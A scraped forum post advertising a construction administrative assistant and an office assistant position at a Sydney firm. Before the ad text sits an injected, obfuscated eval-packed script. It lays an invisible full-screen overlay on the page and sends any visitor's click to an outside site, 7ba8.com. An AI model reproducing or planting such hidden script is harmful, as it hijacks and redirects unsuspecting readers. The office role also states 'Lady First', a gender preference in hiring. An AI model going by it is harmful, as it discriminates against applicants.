标题: Full Time Construction Admin Assistant & Offic [打印本页] 作者: VM2015 时间: 2016-4-12 17:24 标题: Full Time Construction Admin Assistant & Offic <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>VIGOR MASTER PTY LTD is looking for 1 Full Time Construction Administrative Assistant who is responsible for coordination of projects to ensure timely and effective project development and completion. Duties & Responsibilities
Prioritize and manage multiple projects simultaneously, and follow through on issues in a timely manner
Create, prepare, compare, update and negotiate various construction documents, outgoing verbal and written communications to approval authorities, suppliers, sub-contractors and etc.
Responsible for project calendar management
Coordination with all team members to ensure compliance with all project deadlines
Draft, prepare, distribute and follow-up with various correspondence
Handle telephone & email inquiries and respond as appropriate
Diligent on follow up and project timetables
Maintain spreadsheets, project data, and other documents as they relate to our cause
Produce procedure sheets and templates
Orders and invoices checking
Company Credit accounts opening
Reception relief, filling and other administrative tasks
Administrative support primarily for all relevant project personnel
Meticulous with contract administration
Skills & Experiences
Ability to take initiative, multitask and time driven in a fast-paced environment, with daily pressure to produce positive results
Critical thinking and problem solving
Excellent organizational skills
Demonstrated commitment to completion of projects on a timely basis
Able to present in a professional manner with others including owners, architects and subcontractors
Excellent English & Mandarin verbal, written and keyboard skills
Experiences supporting at the executive level
Strong knowledge of AutoCad & MS Office Suite.
VIGOR MASTER is also providing 1 Full Time Office Assistant position for Accounting background applicants. Duties & Responsibilities
General admin and answering the phones and replying emails
Create and prepare general book keeping and data entry
Invoices preparing and checking
Data base management & filing
Liaise with banks or lending institutions to secure the best interest rates and terms
Coordination with all team members to ensure daily operation of the business
Skills & Experiences
Accounting background
Lady First
IELTS overall scores 7
Excellent English & Mandarin verbal, written and keyboard skills
Please send your RESUME to vigormaster@tpg.com.au if the job scope suits what you are pursuing.
Kind Regards,
Vigor Master
TEL (02) 9411 3998
www.vigormaster.com